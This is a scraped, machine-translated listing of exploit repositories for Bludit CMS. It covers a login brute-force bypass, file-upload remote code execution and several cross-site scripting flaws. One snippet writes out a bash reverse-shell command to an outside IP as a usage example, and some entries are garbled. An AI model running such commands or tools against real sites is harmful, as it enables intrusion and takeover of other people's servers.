Bludit-3-9-2-bb

Bludit-3-9-2-bb Bludit 3.9.2 - обход брутфорса - CVE-2019-17240 Очень простой скрипт, основанный на CVE-2019-17240. Оригинальный POC и объяснение: https://github.com/bludit/bludit/pull/1090. root@kitploit: usage: python ./bludit-3-9-2-bb.py -l 'http://sitename.com/admin/login' -u...

CVE-2019-16113

Bludit 3.9.2 - 원격 명령 실행 - CVE-2019-16113 이 익스플로잇은 Bludit CMS 3.9.2의 두 익스플로잇을 결합하여 대상 시스템에서 원격 코드 실행을 달성합니다. 원본 익스플로잇은 CVE-2019-17240 및 CVE-2019-16113입니다. 기능 비밀번호 브루트포스 + RCE 사용자명:비밀번호 브루트포스 + RCE 재현 Bludit 3.9.2 CMS를 설정합니다. 로그인 정보를 구성합니다. 익스플로잇을 실행합니다: root@kitploit: python3 poc.py...

CVE-2019-16113-PoC

CVE-2019-16113 PoC Bludit = 3.9.2 уязвимость удаленного выполнения кода через функцию «Upload». Простой Python PoC. Обнаружено @christasa: https://github.com/bludit/bludit/issues/1081 Использование Отредактируйте скрипт, указав свой URL, имя пользователя, пароль и команду для выполнения, затем...

CVE-2019-16113-Bludit-3.9.2-RCE

CVE-2019-16113 Bludit 3.9.2 원격 명령 실행 RCE...

cve-2019-17240

Bludit = 3.9.22 - ブルートフォース緩和策のバイパス これは、このPythonスクリプトをGolangで書き直した小さなプロジェクトです。このプロジェクトの目的は、Go言語を学び、このエクスプロイトがどのように機能するかを理解することでした。 使い方 root@kitploit: $ ./brutepass -sdasds flag provided but not defined: -sdasds Usage of ./brutepass: -c int Threads default 5 default 5 -l string Hostname eg...

CVE-2020-13889

Автор: Andre k Lorenci Контакт: [email protected] CVE-2020-13889 Здравствуйте, данная уязвимость заключается в функции showAlert в панели администрирования Bludit, которая при обращении через DOM позволяет пользователям задавать текст для отображения в диалоговом окне. Но эта функция не имее...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 인증 RCE 사용법 python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" 예제...

bludit-CVE-2019-17240

bludit-CVE-2019-17240 Обойти защиту входа bludit и загрузить вредоносный файл для вызова rev shell...

Bludit CMS <= 3.20.0 - Cross-Site Scripting

Bludit CMS contains a reflected XSS caused by improper sanitization in the search plugin, letting unauthenticated attackers inject arbitrary JavaScript, exploit requires crafted malicious search query. id: CVE-2026-41456 info: name: Bludit CMS = 3.20.0 - Cross-Site Scripting author: 0xAkoko...

Bludit 3.13.1 - Cross Site Scripting

Cross Site Scripting XSS vulnerability exists in bludit 3-13-1 via the username in admin/login id: CVE-2021-35323 info: name: Bludit 3.13.1 - Cross Site Scripting author: r3Y3r53 severity: medium description: | Cross Site Scripting XSS vulnerability exists in bludit 3-13-1 via the username in...

CVE-2019-17240_Bludit-BF-Bypass

CVE-2019-17240 Эксплойт/PoC - Обход защиты от перебора Bludit Эксплойт для CVE-2019-17240 также известный как обход защиты от перебора Bludit = 3.9.2 Ссылки на эксплойты: ExploitDB-48942 PacketStorm Ожидаемый результат: обнаружить учетные данные для входа, обойдя механизм защиты от перебора на...

CVE-2019-16113-Dockerfile

Bludit 디렉터리 트래버설 취약점（CVE-2019--16113） Bludit-3.9.2는 LAMP 환경만 있으면 실행할 수 있는 경량 CMS입니다. 이미지 업로드 시 Bludit은 파일 확장자를 확인한 후 파일을 제때 삭제하지 않으므로, 공격자는 uuid 매개변수를 제어하여 디렉터리 트래버설을 수행할 수도 있습니다. 구체적인 내용은 참고 취약점 환경 다음 명령을 실행하여 이미지를 빌드하고 Bludit 컨테이너를 시작합니다 root@kitploit: cd Docker sudo docker build -t bludit:cve...

CVE-2016-16113-POC

RCE 획득 - Bludit CMS 익스플로잇 root@kitploit: | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| CVE-2019-17240인증 우회와 CVE-2019-16113임의 파일 업로드를 결합하여 취약한 Bludit CMS 설치에서 원격 코드 실행을 달성하는 자동화된 익스플로잇 도구입니다. ⚠️ 법적 고지 승인된 보안 테스트 전용 이 도구는 합법적인 경계 내에서 수행되는 공인된...

CVE-2026-25099

CVE-2026-25099 - Bludit CMS API 무제한 파일 업로드를 통한 RCE 설명 Bludit CMS 3.18.4 이전 버전은 유효한 API 토큰을 가진 인증된 공격자가 POST /api/files/ 엔드포인트를 통해 모든 유형과 확장자의 파일을 업로드할 수 있도록 허용합니다. uploadFile 함수는 파일 확장자나 콘텐츠 검증을 수행하지 않아 PHP 웹셸을 업로드하고 www-data 권한으로 실행할 수 있습니다. 영향을 받는 버전 취약한 버전: Bludit 3.18.4 수정된 버전: Bludit 3.18.4 ...

CVE-2019-16113

CVE-2019-16113 Bludit 디렉토리 트래버설 이미지 파일 업로드 취약점에 대한 Python 구현 PoC입니다. CVE-2019-16113 Bludit 3.9.2는 bl-kernel/ajax/upload-images.php를 통해 원격 코드 실행을 허용합니다. PHP 코드가 .jpg 또는 .png 파일 이름으로 입력될 수 있으며, 이 PHP 코드는 다른 PHP 코드를 ../ 경로에 쓸 수 있습니다. 원저자 크레딧: christasa - 최초 발견 sinn3r - Metasploit 모듈...

CVE-2019-17240

CVE-2019-17240 Эксплойт Версии до 3.9.2 включительно CMS Bludit уязвимы для обхода механизма защиты от брутфорса, который блокирует пользователей, совершивших 10 или более неудачных попыток входа. Уязвимость была обнаружена Rastating. Отправка запроса на вход с изменяющимся значением заголовка...

CVE-2021-45745

CVE-2021-45745 エクスプロイトタイトル: Bludit 3.13.1 - About プラグインの保存型クロスサイトスクリプティング XSS エクスプロイト作者: SANU P.L CVE: CVE-2021-45745 CVSS: 5.4 MEDIUM 参考文献: https://www.plsanu.com/bludit-3-13-1-about-plugin-stored-cross-site-scripting-xss https://nvd.nist.gov/vuln/detail/CVE-2021-45745...

CVE-2021-45744

CVE-2021-45744 익스플로잇 제목: Bludit 3.13.1 - TAGS 필드 저장형 교차 사이트 스크립팅 XSS 익스플로잇 작성자: SANU P.L CVE: CVE-2021-45744 CVSS: 5.4 중간 참고 자료: https://www.plsanu.com/bludit-3-13-1-tags-field-stored-cross-site-scripting-xss https://nvd.nist.gov/vuln/detail/CVE-2021-45744 https://vulners.com/cve/CVE-2021-45744 설...

Bludit-3.9.2-Auth-Bruteforce-Bypass-CVE-2019-17240

Скрипт для обхода защиты от перебора паролей Bludit Обзор Данный скрипт представляет собой доработанную Bash-реализацию эксплойта для CMS Bludit версии = 3.9.2. Он использует уязвимость CVE-2019-17240, позволяющую перебирать пароли, обходя защиту на основе CSRF-токенов. Исходный скрипт на Python...

Bludit-CVE-2019-17240-Fork

Bludit-CVE-2019-17240-Fork Улучшенная версия "rastating.github.io/bludit-brute-force-mitigation-bypass/" Довольно проста в использовании: вам нужно только выполнить : python3 BBFMB.py Затем она попросит вас указать URL, затем имя пользователя, затем путь к словарю сыр ням-ням...